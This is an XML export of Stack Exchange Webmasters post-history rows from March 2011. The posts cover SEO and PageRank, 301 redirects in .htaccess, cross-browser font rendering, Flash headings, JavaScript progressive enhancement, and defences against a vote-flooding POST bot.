  <row Id="22188" PostHistoryTypeId="2" PostId="9960" RevisionGUID="981c7020-3ded-4870-b02d-a54887378143" CreationDate="2011-03-03T09:12:24.667" UserId="5117" Text="Use [Google Webmasters][1] tools to specify the domain of the .com or .co.uk, to be sure that google understand where the domain is.&#xD;&#xA;&#xD;&#xA;By default .co.uk -&gt; UK , but for the .com you can specify it under &quot;Site Configuration&quot; -&gt; &quot;Settings&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/webmasters/tools/home &quot;GoogleWebmaster&quot;" />
  <row Id="22189" PostHistoryTypeId="2" PostId="9961" RevisionGUID="c0927a6e-44b8-4f57-a6ce-0b3634bad4a8" CreationDate="2011-03-03T09:48:21.220" UserId="3175" Text="My homepage has a PR of 5. However, 99% of my internal pages have PR of 0 for some reason.&#xD;&#xA;What can be the cause of it? I have a sitemap and Google Webmaster Tools shows that all my website pages are indexed.&#xD;&#xA;(The internal pages are built with SEO in mind, and have several sources linking to them).&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;Joel" />
  <row Id="22190" PostHistoryTypeId="1" PostId="9961" RevisionGUID="c0927a6e-44b8-4f57-a6ce-0b3634bad4a8" CreationDate="2011-03-03T09:48:21.220" UserId="3175" Text="Internal pages PR" />
  <row Id="22191" PostHistoryTypeId="3" PostId="9961" RevisionGUID="c0927a6e-44b8-4f57-a6ce-0b3634bad4a8" CreationDate="2011-03-03T09:48:21.220" UserId="3175" Text="&lt;seo&gt;&lt;pagerank&gt;" />
  <row Id="22192" PostHistoryTypeId="2" PostId="9962" RevisionGUID="fc1a3987-aaeb-4969-b406-fb7d84dc9897" CreationDate="2011-03-03T10:42:35.260" UserId="5727" Text="It's only fairly recently sites now ask you to 'confirm your email address'.  This is ridiculously annoying for 99.999% of users who can see what they are typing." />
  <row Id="22193" PostHistoryTypeId="25" PostId="9954" RevisionGUID="4d9c0c6d-fd46-4dee-93bc-936f6e4aa990" CreationDate="2011-03-03T11:23:14.347" Comment="http://twitter.com/#!/StackWebmasters/status/43270199964737536" />
  <row Id="22194" PostHistoryTypeId="2" PostId="9963" RevisionGUID="6a1b1724-dc6a-4595-bd8a-3fa346b120ef" CreationDate="2011-03-03T11:27:47.353" UserId="5745" Text="If you feel that the company will charge you too much money for the domain you want, simply register a domain with a slightly different spelling.&#xD;&#xA;&#xD;&#xA;for instance: if &lt;code&gt;mydomain.com&lt;/code&gt; is registered, consider registering &lt;code&gt;my-domain.com&lt;/code&gt;" />
  <row Id="22195" PostHistoryTypeId="2" PostId="9964" RevisionGUID="22fd4cd9-1c73-4342-be34-8ee56a154676" CreationDate="2011-03-03T12:26:24.977" UserId="1089" Text="Not sure its an interesting trend, but the &quot;share&quot; buttons at the bottom of almost every website....&#xD;&#xA;&#xD;&#xA;&quot;Share with facebook, twitter, reddit, digg, linkedin&quot; I wonder what the record number is?" />
  <row Id="22196" PostHistoryTypeId="2" PostId="9965" RevisionGUID="b25147ee-9bdf-43dc-b69a-3c83efd41a9f" CreationDate="2011-03-03T12:43:33.690" UserId="1253" Text="PR is all about links. Internal pages have fewer links then home pages because most incoming links from other sites point ot the home page and internal pages link to the home page more then other internal pages. So the homepage naturally tends to have a high PR and internal pages are lower.&#xD;&#xA;&#xD;&#xA;If you want your internal page to have higher PR get more links to those pages from other sites and do a better job of internal inking within your site." />
  <row Id="22197" PostHistoryTypeId="10" PostId="9952" RevisionGUID="06c496dc-b2fc-4116-b4e6-f9022deb400a" CreationDate="2011-03-03T12:44:11.130" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="22198" PostHistoryTypeId="2" PostId="9966" RevisionGUID="de439603-00ae-444c-9733-60b891374e78" CreationDate="2011-03-03T12:45:46.357" UserId="1089" Text="Looking at mino.pl it appears to be a bog standard html5 web page using jquery to provide the bouncing effect. &#xD;&#xA;&#xD;&#xA;I don't think it is &quot;powered&quot; by Javascript - John Conde's point about SEO and javascript are absolutely correct, but in this case I don't think google would have any problem indexing mino.pl&#xD;&#xA;&#xD;&#xA;If javascript was disabled the links at the top would still work as they are anchors pointing to parts of the webpage. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="22199" PostHistoryTypeId="6" PostId="9936" RevisionGUID="17d98d4b-f635-4dcd-9a3b-d3ad3a24b56b" CreationDate="2011-03-03T12:57:48.247" UserId="1253" Comment="removed &quot;jquery&quot; tag and added &quot;javascript&quot; tag" Text="&lt;seo&gt;&lt;javascript&gt;&lt;html5&gt;" />
  <row Id="22200" PostHistoryTypeId="2" PostId="9967" RevisionGUID="f29ad427-0b3a-4078-8cad-6f5f17d94092" CreationDate="2011-03-03T13:01:52.123" UserId="4142" Text="I would say that it depends. *If all of your content is accessible without Javascript enabled*, I think you should be safe - with some caveats.&#xD;&#xA;&#xD;&#xA;Javascript use, in itself, *doesn't kill SEO*. It can add some interesting behaviors, and even improve the user experience quite a bit for people whose browsers support it. But it must be applied correctly.&#xD;&#xA;&#xD;&#xA;If you design your site with **progressive enhancement** in mind, it should not be penalized in search engines. Make sure that someone with Javascript disabled still gets a usable experience. Their pages don't have to bounce back and forth, but they have to be able to navigate around to everywhere a user with Javascript enabled would be.&#xD;&#xA;&#xD;&#xA;A good way to go about this is to build your website in HTML5 first, without Javascript, and make sure it's functional. Then use Javascript to manipulate that HTML and provide the effects you're looking for.&#xD;&#xA;&#xD;&#xA;Oh yeah, that *caveat*: you mentioned that this transition reduces your site from eight pages to one. This could cause a problem for indexing if there is too much disparate information on that one page, or that single page takes too long to load.&#xD;&#xA;&#xD;&#xA;If search engine spiders can't determine the purpose of the page they're on - if your 'services' page content is mashed in with your 'related links', then it will have a harder time indexing you for the right keywords.&#xD;&#xA;&#xD;&#xA;You might want to look into keeping your original 8-page layout, and using AJAX to load the pages when the user &quot;slides&quot;. It's dead simple in jQuery, and you may even be able to do it in a way that won't kill the back button in user's browsers. " />
  <row Id="22201" PostHistoryTypeId="2" PostId="9968" RevisionGUID="c22501e9-9ea3-4cc4-be6a-0353128eb4aa" CreationDate="2011-03-03T13:20:39.147" UserId="3948" Text="Currently, we are working on modifying the contents of a website of one of our products.&#xD;&#xA;&#xD;&#xA;Since we are re-positioning the product, we would like to delete roughly 50% (around 200) of the pages of the website.&#xD;&#xA;&#xD;&#xA;My questions, in terms of SEO are:&#xD;&#xA;&#xD;&#xA; - Would it have a negative effect if Google suddenly sees the large page drop?&#xD;&#xA; - Is it OK to provide a 301 to the start page of the website for all removed pages?&#xD;&#xA;" />
  <row Id="22202" PostHistoryTypeId="1" PostId="9968" RevisionGUID="c22501e9-9ea3-4cc4-be6a-0353128eb4aa" CreationDate="2011-03-03T13:20:39.147" UserId="3948" Text="When removing a bunch of files from a website, is 301 to the start page appropriate?" />
  <row Id="22203" PostHistoryTypeId="3" PostId="9968" RevisionGUID="c22501e9-9ea3-4cc4-be6a-0353128eb4aa" CreationDate="2011-03-03T13:20:39.147" UserId="3948" Text="&lt;seo&gt;&lt;301-redirect&gt;" />
  <row Id="22209" PostHistoryTypeId="2" PostId="9970" RevisionGUID="fccab012-a3cb-4d71-b37c-47accdc33007" CreationDate="2011-03-03T13:46:13.757" UserId="5739" Text="[Hesk][1] is free (very small licence fee if you want to remove the powered by tag $40) very feature rich, sold and gets both thumbs up from me.&#xD;&#xA;&#xD;&#xA;http://www.hesk.com/&#xD;&#xA;&#xD;&#xA;I love it and it ticks all of your requirement boxes&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.hesk.com/" />
  <row Id="22210" PostHistoryTypeId="2" PostId="9971" RevisionGUID="f2cb9c0d-2416-4638-aab2-e1ab5c4dfc82" CreationDate="2011-03-03T13:55:09.287" UserId="5739" Text="I also use and recommend phplist." />
  <row Id="22211" PostHistoryTypeId="2" PostId="9972" RevisionGUID="22e33622-170e-422c-ad2e-780e0db9d2b2" CreationDate="2011-03-03T14:02:49.987" UserId="5800" Text="I am building a website for a client, and we had hoped to use plain text, not images in the navigation bar.  The font we are using is Century Gothic (I believe that this font is available on the majority of PCs and Macs)  The problem is, that on different browsers the font renders significantly differnt.  In Chrome we got it looking the way we want, but in firefox the text is smaller and bolder.&#xD;&#xA;&#xD;&#xA;Aside from writing browser specific javascript to alter the font properties, are there any other options to standardize the way the fonts are rendered cross-browser.  Perhaps some library or API?  Maybe its a matter of being more specific in declaring font properties?  Honestly I am stuck and need help." />
  <row Id="22212" PostHistoryTypeId="1" PostId="9972" RevisionGUID="22e33622-170e-422c-ad2e-780e0db9d2b2" CreationDate="2011-03-03T14:02:49.987" UserId="5800" Text="Making fonts render similarly across browsers" />
  <row Id="22213" PostHistoryTypeId="3" PostId="9972" RevisionGUID="22e33622-170e-422c-ad2e-780e0db9d2b2" CreationDate="2011-03-03T14:02:49.987" UserId="5800" Text="&lt;website-design&gt;&lt;fonts&gt;&lt;cross-browser&gt;" />
  <row Id="22214" PostHistoryTypeId="5" PostId="9968" RevisionGUID="5ff70192-2b90-4239-90d2-95da86fe08bd" CreationDate="2011-03-03T14:09:12.303" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [What to do with random pages after a 301 redirect?](http://webmasters.stackexchange.com/questions/9847/what-to-do-with-random-pages-after-a-301-redirect)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Currently, we are working on modifying the contents of a website of one of our products.&#xD;&#xA;&#xD;&#xA;Since we are re-positioning the product, we would like to delete roughly 50% (around 200) of the pages of the website.&#xD;&#xA;&#xD;&#xA;My questions, in terms of SEO are:&#xD;&#xA;&#xD;&#xA; - Would it have a negative effect if Google suddenly sees the large page drop?&#xD;&#xA; - Is it OK to provide a 301 to the start page of the website for all removed pages?&#xD;&#xA;" />
  <row Id="22215" PostHistoryTypeId="10" PostId="9968" RevisionGUID="8155251c-8ab3-453e-bae9-108ae8547dcf" CreationDate="2011-03-03T14:09:12.117" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="22216" PostHistoryTypeId="5" PostId="9141" RevisionGUID="534b1324-fb3d-4d83-b422-a165594f5b2e" CreationDate="2011-03-03T14:10:37.640" UserId="4131" Comment="Removed my post, so removing this reference to it here" Text="Usability, and consistency.&#xD;&#xA;&#xD;&#xA;**Usability:**&#xD;&#xA;&#xD;&#xA;In order for your users to use your site the most efficiently, you must think of every situation possible that they might think of. Predicting what the user will want and delivering it to them before they are even there is good usability. Providing multiple locations for a perma-link allows for Stack Exchange to be easier to use, if you can get the perma-link from the address bar, the title, etc.&#xD;&#xA;&#xD;&#xA;When looking at routes that users can take, you want to provide as many routes as possible to get there and / or get something accomplished, mainly because not everyone thinks the same and the idea to go straight to address bar to get the perma-link might come after going to the title of the page. The title of the page is bigger and easier to hit with the mouse.&#xD;&#xA;&#xD;&#xA;**Consistency:**&#xD;&#xA;&#xD;&#xA;If you click on the Questions link, it will still be there on the Questions page. The reason is because you want to form the best mental map in the users mind that you can. So, having links change creates uncertainty and confusion for the user. So, when you have the home button on the homepage, and the user goes to about and sees that the about link is still there, they know that the navigation will always be there to anchor on to.&#xD;&#xA;&#xD;&#xA;That goes into the psychological analysis of web design... which can get kind of confusing all on it's own." />
  <row Id="22217" PostHistoryTypeId="24" PostId="9141" RevisionGUID="534b1324-fb3d-4d83-b422-a165594f5b2e" CreationDate="2011-03-03T14:10:37.640" Comment="Proposed by 4131 approved by 1253 edit id of 43" />
  <row Id="22218" PostHistoryTypeId="5" PostId="9941" RevisionGUID="af628a1e-d966-48ed-8379-9c669a19a910" CreationDate="2011-03-03T14:22:59.533" UserId="1253" Comment="added 809 characters in body" Text="If your site is powered by JavaScript, that means it won't work and/or you can't get to all of the content without JavaScript enabled in a user's browser, it will **kill** your SEO. JavaScript is very un-search engine-friendly. And very inaccessible. Doing this is a ***very bad idea***. Yes, [Google is working on crawlable Ajax][1] but not only does it only make Google happy it's [being universally panned][2]. &#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;&#xD;&#xA;If you want to have your site do this, as [I mentioned here][3], you should follow the principle of [progressive enhancement][4]. First, build your site so it works without JavaScript. That way search engines and anyone else without JavaScript can access your content normally. Then enhance the site by using JavaScript to load the content dynamically through Ajax. This will *enhance* the experience of users with JavaScript enabled without harming the users who do not have JavaScript enabled.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/10/proposal-for-making-ajax-crawlable.html&#xD;&#xA;  [2]: http://shiflett.org/blog/2011/feb/javascript-and-urls&#xD;&#xA;  [3]: http://webmasters.stackexchange.com/questions/4733/should-i-worry-about-people-disabling-javascript/4739#4739&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/Progressive_enhancement" />
  <row Id="22219" PostHistoryTypeId="25" PostId="9972" RevisionGUID="fb46c831-835f-4ca6-86db-8f29e41b1fdb" CreationDate="2011-03-03T14:23:14.550" Comment="http://twitter.com/#!/StackWebmasters/status/43315499421024256" />
  <row Id="22220" PostHistoryTypeId="2" PostId="9973" RevisionGUID="b9c2ff77-b649-45e0-95ed-1a9ea5c0955f" CreationDate="2011-03-03T14:28:13.583" UserId="1253" Text="You're not going to get fonts, and some other things, to render identically across browsers. The handling of fonts is a perfect example. I know Safari on Windows likes to make text bold for some reason. Unfortunately this is how the web works. The variety of browsers, OSes, monitors, graphic processors, etc, out there means there's potentially thousands or tens of thousands of different ways a person can view a web page. So when building for the wbe you have to do it knowing and expecting that your site will not be pixel perfect for everybody. This isn't print. It's the wild wild web." />
  <row Id="22221" PostHistoryTypeId="2" PostId="9974" RevisionGUID="f25ec6a7-5e98-4739-a73a-7d202b5e873a" CreationDate="2011-03-03T15:14:11.280" UserDisplayName="user5804" Text="I'm using a service (CMS/Host) called SquareSpace to host my site, and today I'm registering the domain for it. Basically, how do I make it so when somebody types www.tedxoxford.com it points at http://www.tedxoxford.com/landing (currently http://tedxoxford.squarespace.com/landing) instead of the default index? Is this possible? Squarespace is quite a restricted CMS and means that your logos etc all point to the index so I don't want people ending up on my landing/splash page every time they want the home page, only on the first time they type in the URL.&#xD;&#xA;&#xD;&#xA;A dirty hack would be to check the refferer and redirect anyone hitting the index to the landing page, but that's a lot of loading overhead I'd rather avoid..." />
  <row Id="22222" PostHistoryTypeId="1" PostId="9974" RevisionGUID="f25ec6a7-5e98-4739-a73a-7d202b5e873a" CreationDate="2011-03-03T15:14:11.280" UserDisplayName="user5804" Text="How do I point a new domain to start on a page that's not index.html on separate hosting?" />
  <row Id="22223" PostHistoryTypeId="3" PostId="9974" RevisionGUID="f25ec6a7-5e98-4739-a73a-7d202b5e873a" CreationDate="2011-03-03T15:14:11.280" UserDisplayName="user5804" Text="&lt;domains&gt;&lt;url&gt;&lt;domain-registration&gt;" />
  <row Id="22224" PostHistoryTypeId="2" PostId="9975" RevisionGUID="416c8e3e-7be5-4fc7-ba42-db28d9e84324" CreationDate="2011-03-03T14:42:28.283" UserDisplayName="Owen Campbell-Moore" Text="I'm using a service called SquareSpace to host my site, and today I'm registering the domain for it. Basically, how do I make it so when somebody types www.tedxoxford.com it points at http://www.tedxoxford.com/landing (currently http://tedxoxford.squarespace.com/landing) instead of the default index? Is this possible? Squarespace is quite a restricted CMS and means that your logos etc all point to the index so I don't want people ending up on my landing/splash page every time they want the home page, only on the first time they type in the URL.&#xD;&#xA;&#xD;&#xA;A dirty hack would be to check the refferer and redirect anyone hitting the index to the landing page, but that's a lot of loading overhead I'd rather avoid..." />
  <row Id="22225" PostHistoryTypeId="1" PostId="9975" RevisionGUID="416c8e3e-7be5-4fc7-ba42-db28d9e84324" CreationDate="2011-03-03T14:42:28.283" UserDisplayName="Owen Campbell-Moore" Text="How do I point a new domain to start on a page that's not index.html on separate hosting?" />
  <row Id="22226" PostHistoryTypeId="3" PostId="9975" RevisionGUID="416c8e3e-7be5-4fc7-ba42-db28d9e84324" CreationDate="2011-03-03T14:42:28.283" UserDisplayName="Owen Campbell-Moore" Text="&lt;web-hosting&gt;&lt;domains&gt;" />
  <row Id="22227" PostHistoryTypeId="17" PostId="9975" RevisionGUID="6e54de3e-a837-46aa-83ad-f9865fa3d6f0" CreationDate="2011-03-03T15:17:57.627" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/13079/how-do-i-point-a-new-domain-to-start-on-a-page-thats-not-index-html-on-separate" Text="" />
  <row Id="22228" PostHistoryTypeId="5" PostId="9975" RevisionGUID="4235c5fb-6de7-4b60-acf4-61a3d28b4050" CreationDate="2011-03-03T15:19:52.383" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [How do I point a new domain to start on a page that&amp;#39;s not index.html on separate hosting?](http://webmasters.stackexchange.com/questions/9974/how-do-i-point-a-new-domain-to-start-on-a-page-thats-not-index-html-on-separate)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I'm using a service called SquareSpace to host my site, and today I'm registering the domain for it. Basically, how do I make it so when somebody types www.tedxoxford.com it points at http://www.tedxoxford.com/landing (currently http://tedxoxford.squarespace.com/landing) instead of the default index? Is this possible? Squarespace is quite a restricted CMS and means that your logos etc all point to the index so I don't want people ending up on my landing/splash page every time they want the home page, only on the first time they type in the URL.&#xD;&#xA;&#xD;&#xA;A dirty hack would be to check the refferer and redirect anyone hitting the index to the landing page, but that's a lot of loading overhead I'd rather avoid..." />
  <row Id="22229" PostHistoryTypeId="10" PostId="9975" RevisionGUID="ffb93d40-accf-44ad-b988-9645026047ff" CreationDate="2011-03-03T15:19:52.260" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="22230" PostHistoryTypeId="2" PostId="9976" RevisionGUID="99c6bb62-af55-4392-b6fc-2a956caea94f" CreationDate="2011-03-03T15:27:01.473" UserId="1253" Text="This will force a redirect from `/` to `/landing` every time. Place it in a file called .htaccess and place it in your root web directory:&#xD;&#xA;&#xD;&#xA;    redirect 301 / /redirect&#xD;&#xA;    redirect 301 /index.php /redirect&#xD;&#xA;&#xD;&#xA;If you want them to be able to view the home page once and then redirect every time after that you'll need to use cookies and server side programming language to handle the redirect. Basically the first time they visit the index page will set a cookie with an expiration date far into the future. Then every time they revisit your site the index page will see that cookie and redirect them to the new landing page before the page loads." />
  <row Id="22231" PostHistoryTypeId="2" PostId="9977" RevisionGUID="4f7e954d-d210-4047-95a8-af08b87ae27d" CreationDate="2011-03-03T15:15:37.173" UserDisplayName="Alex" Text="I just did a 301 and the domain and some pages which have a mirror file path are fine.&#xD;&#xA;&#xD;&#xA;But I have one directory which is not going to be part of the new site and I don't know how to redirect the old files that were there.&#xD;&#xA;&#xD;&#xA;I need something like this:&#xD;&#xA;oldDomain/oldDir/file.php&#xD;&#xA;&#xD;&#xA;and I need to make it redirect to &#xD;&#xA;&#xD;&#xA;newDomain/differentDir/file.php&#xD;&#xA;&#xD;&#xA;Is that possible?  What is the 301 redirect rule for that?  " />
  <row Id="22232" PostHistoryTypeId="1" PostId="9977" RevisionGUID="4f7e954d-d210-4047-95a8-af08b87ae27d" CreationDate="2011-03-03T15:15:37.173" UserDisplayName="Alex" Text="SEO: 301 for a page which has no mirrow path?" />
  <row Id="22233" PostHistoryTypeId="3" PostId="9977" RevisionGUID="4f7e954d-d210-4047-95a8-af08b87ae27d" CreationDate="2011-03-03T15:15:37.173" UserDisplayName="Alex" Text="&lt;seo&gt;" />
  <row Id="22234" PostHistoryTypeId="17" PostId="9977" RevisionGUID="c3b56b06-0650-4fdf-bdba-44d31db04c89" CreationDate="2011-03-03T15:55:09.560" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/13080/seo-301-for-a-page-which-has-no-mirrow-path" Text="" />
  <row Id="22235" PostHistoryTypeId="2" PostId="9978" RevisionGUID="015a4473-72a9-47a0-9710-a9b8a73cfcb4" CreationDate="2011-03-03T16:08:38.750" UserId="5806" Text="A large number of sites lately which use **Flash to replace what would be simple HTML headers (h1, h2, h3)**. Some of them do it consistently for every header.&#xD;&#xA;&#xD;&#xA;**Why would you do this? What are the pros and cons of this?**&#xD;&#xA;&#xD;&#xA;This seems strange to me and really inefficient, particularly since a page can have dozens of headers. I notice this because I use Flash Block (which temporarily disables Flash), so not everyone may have seen it.&#xD;&#xA;&#xD;&#xA;Just today I landed [here][1] with 4 flash headers. I've seen dozens of such use of Flash this week alone, and I am wondering if this has some benefits.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.csssdll.qc.ca/nos-points-de-service/nos-clsc/clsc-de-lasalle/" />
  <row Id="22236" PostHistoryTypeId="1" PostId="9978" RevisionGUID="015a4473-72a9-47a0-9710-a9b8a73cfcb4" CreationDate="2011-03-03T16:08:38.750" UserId="5806" Text="Why use flash to as content headers? Why not?" />
  <row Id="22237" PostHistoryTypeId="3" PostId="9978" RevisionGUID="015a4473-72a9-47a0-9710-a9b8a73cfcb4" CreationDate="2011-03-03T16:08:38.750" UserId="5806" Text="&lt;html&gt;&lt;flash&gt;&lt;headers&gt;" />
  <row Id="22238" PostHistoryTypeId="2" PostId="9979" RevisionGUID="24294076-249c-4a4a-8404-8901a841ef42" CreationDate="2011-03-03T16:15:44.797" UserId="5806" Text="For each page, you need a redirect like the following in your .htaccess:&#xD;&#xA;&#xD;&#xA;    redirectMatch permanent ^/oldDir/file.php$ http://www.newdomain.com/differentDir/file.php&#xD;&#xA;&#xD;&#xA;Notice you do not use the 'oldDomain', this is implied because the .htaccess you modify has to be on the old domain's server." />
  <row Id="22239" PostHistoryTypeId="2" PostId="9980" RevisionGUID="f9897d60-ad99-4168-be6b-e9155dd8a825" CreationDate="2011-03-03T16:22:57.427" UserId="1643" Text="The sites do it so that they can use a particular font, which is not likely to be installed on most users' computers. That method is called [sIFR][1], or Scalable Inman Flash Replacement. &#xD;&#xA;&#xD;&#xA;However newer browsers support newer font technologies as [WOFF][2] and companies which host web fonts for you like [Fontdeck][3] and [Typekit][4]. The advantage of them over the flash method is that it doesn't need flash, and if you don't have javascript enabled you see text in a default font. However you may have to pay the companies doing the font hosting.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mikeindustries.com/blog/archive/2004/08/sifr&#xD;&#xA;[2]: http://en.wikipedia.org/wiki/Web_Open_Font_Format&#xD;&#xA;[3]: http://fontdeck.com&#xD;&#xA;[4]: http://typekit.com" />
  <row Id="22240" PostHistoryTypeId="5" PostId="9978" RevisionGUID="2ec91fbe-1088-499a-a314-7eb3cff5d7b9" CreationDate="2011-03-03T16:24:43.213" UserId="1253" Comment="Changed &quot;headers&quot; to &quot;headings&quot;" Text="A large number of sites lately which use **Flash to replace what would be simple HTML headings (h1, h2, h3)**. Some of them do it consistently for every header.&#xD;&#xA;&#xD;&#xA;**Why would you do this? What are the pros and cons of this?**&#xD;&#xA;&#xD;&#xA;This seems strange to me and really inefficient, particularly since a page can have dozens of headers. I notice this because I use Flash Block (which temporarily disables Flash), so not everyone may have seen it.&#xD;&#xA;&#xD;&#xA;Just today I landed [here][1] with 4 flash headers. I've seen dozens of such use of Flash this week alone, and I am wondering if this has some benefits.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.csssdll.qc.ca/nos-points-de-service/nos-clsc/clsc-de-lasalle/" />
  <row Id="22241" PostHistoryTypeId="4" PostId="9978" RevisionGUID="2ec91fbe-1088-499a-a314-7eb3cff5d7b9" CreationDate="2011-03-03T16:24:43.213" UserId="1253" Comment="Changed &quot;headers&quot; to &quot;headings&quot;" Text="Why use flash to as content headings? Why not?" />
  <row Id="22242" PostHistoryTypeId="6" PostId="9978" RevisionGUID="2ec91fbe-1088-499a-a314-7eb3cff5d7b9" CreationDate="2011-03-03T16:24:43.213" UserId="1253" Comment="Changed &quot;headers&quot; to &quot;headings&quot;" Text="&lt;html&gt;&lt;flash&gt;&lt;heading&gt;" />
  <row Id="22244" PostHistoryTypeId="5" PostId="9977" RevisionGUID="474a1fea-8707-43c2-9852-60cd4ddc64a7" CreationDate="2011-03-03T16:27:47.967" UserId="1253" Comment="added update which was originally given as a comment; edited tags" Text="I just did a 301 and the domain and some pages which have a mirror file path are fine.&#xD;&#xA;&#xD;&#xA;But I have one directory which is not going to be part of the new site and I don't know how to redirect the old files that were there.&#xD;&#xA;&#xD;&#xA;I need something like this:&#xD;&#xA;oldDomain/oldDir/file.php&#xD;&#xA;&#xD;&#xA;and I need to make it redirect to &#xD;&#xA;&#xD;&#xA;newDomain/differentDir/file.php&#xD;&#xA;&#xD;&#xA;Is that possible?  What is the 301 redirect rule for that?  &#xD;&#xA;&#xD;&#xA;**update**&#xD;&#xA;&#xD;&#xA;I just added this rule as suggested by @Itai and it didn't work&#xD;&#xA;&#xD;&#xA;redirectMatch permanent ^/outdoors/trees/tanoak.php$ http://www.comehike.com/outdoors/trees/129/Tanoak&#xD;&#xA;&#xD;&#xA;any idea why?" />
  <row Id="22246" PostHistoryTypeId="2" PostId="9982" RevisionGUID="c7b1cee8-737e-4b48-af67-fdb3dd77ac43" CreationDate="2011-03-03T16:27:58.453" UserId="3512" Text="I have a site (humanisms.co.uk) which incorporates a voting system, ie. user clicks &quot;Up&quot; and it sends a parameter to a PHP script via AJAX, the PHP inserts vote into MYSQL db and the new &quot;Up&quot; vote is sent back to the page to update the vote count. This is working great but i've noticed that the number of votes for one of my questions shot up last night. I viewed my webhosts access logs and saw this line:&#xD;&#xA;&#xD;&#xA;    108.27.195.232 - - [03/Mar/2011:15:20:18 +0000] &quot;POST /vote.php HTTP/1.1&quot; 200 2 &quot;http://www.humanisms.co.uk/&quot; &quot;Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.114 Safari/534.16&quot;&#xD;&#xA;&#xD;&#xA;This is repeated well over 100 times and sometimes more than once a second. Now i know they probably arent sitting there clicking Vote but running some sort of PHP loop?&#xD;&#xA;&#xD;&#xA;I'm not worried about SQL injection but what can i do to prevent this same IP address from doing this or what can i do in general to avoid this scenario.&#xD;&#xA;&#xD;&#xA;I should also say that there's no login so anyone can click using the voting system.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="22247" PostHistoryTypeId="1" PostId="9982" RevisionGUID="c7b1cee8-737e-4b48-af67-fdb3dd77ac43" CreationDate="2011-03-03T16:27:58.453" UserId="3512" Text="POST attack on my website" />
  <row Id="22248" PostHistoryTypeId="3" PostId="9982" RevisionGUID="c7b1cee8-737e-4b48-af67-fdb3dd77ac43" CreationDate="2011-03-03T16:27:58.453" UserId="3512" Text="&lt;ip-address&gt;&lt;post&gt;&lt;hacking&gt;" />
  <row Id="22249" PostHistoryTypeId="6" PostId="9977" RevisionGUID="474a1fea-8707-43c2-9852-60cd4ddc64a7" CreationDate="2011-03-03T16:27:47.967" UserId="1253" Comment="added update which was originally given as a comment; edited tags" Text="&lt;seo&gt;&lt;301-redirect&gt;" />
  <row Id="22250" PostHistoryTypeId="2" PostId="9983" RevisionGUID="3b0102a5-8bef-435a-bcc7-df50339a1a01" CreationDate="2011-03-03T16:31:15.343" UserId="5727" Text=" - Log IPs, 1 vote per IP only&#xD;&#xA; - CAPTCHCA&#xD;&#xA; - Use built in server side script functionality to ensure post request originated from same server" />
  <row Id="22251" PostHistoryTypeId="2" PostId="9984" RevisionGUID="0c717507-ea6f-46fb-8546-c75aeaefc584" CreationDate="2011-03-03T16:42:12.057" UserId="1253" Text="From [this question][1]:&#xD;&#xA;&#xD;&#xA;&gt; You could do several things including:&#xD;&#xA;&gt; &#xD;&#xA;&gt; Use a CAPATCHA like [reCAPTCHA][2] &#xD;&#xA;&gt; &#xD;&#xA;&gt; Use a field that requires the user&#xD;&#xA;&gt; to answer a question like what is 5 +&#xD;&#xA;&gt; 3. Any human can answer it but a bot won't know what to do since it is&#xD;&#xA;&gt; auto-populating fields based on field&#xD;&#xA;&gt; names. So that field will be either&#xD;&#xA;&gt; incorrect or missing in which case the&#xD;&#xA;&gt; submission will be rejected.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Use a token and put it into a&#xD;&#xA;&gt; session and also add it to the form.&#xD;&#xA;&gt; If the token is not submitted with the&#xD;&#xA;&gt; form or doesn't match then it is&#xD;&#xA;&gt; automated and can be ignored.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Look for repeated submissions from&#xD;&#xA;&gt; the same IP address. If your form&#xD;&#xA;&gt; shouldn't get too many requests but&#xD;&#xA;&gt; suddenly is it probably is being hit&#xD;&#xA;&gt; by a bot and you should consider&#xD;&#xA;&gt; temporarily blocking the IP address.&#xD;&#xA;&gt; &#xD;&#xA;&#xD;&#xA;  [2]: http://recaptcha.com/&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/3544/make-your-site-anti-bot/3545#3545" />
  <row Id="22252" PostHistoryTypeId="2" PostId="9985" RevisionGUID="4f8f0127-bf62-4f07-9a1b-0bf1eab559a0" CreationDate="2011-03-03T16:48:44.067" UserId="5810" Text="Actually there is a method of embedding fonts in your CSS.  Its extremely easy.  Refer to http://randsco.com/index.php/2009/07/04/p680 for more information on how to do this.  The downside to this is that older browsers (pre ei 7 and ff 3 I think...) don't support this.  But the number of people using these old browsers are fast diminishing and its still possible to specify alternate fonts that would work and are usually on most pc's just in case.&#xD;&#xA;&#xD;&#xA;Another approach that I haven't used involves using flash.  I don't have much information on this other than I know of it." />
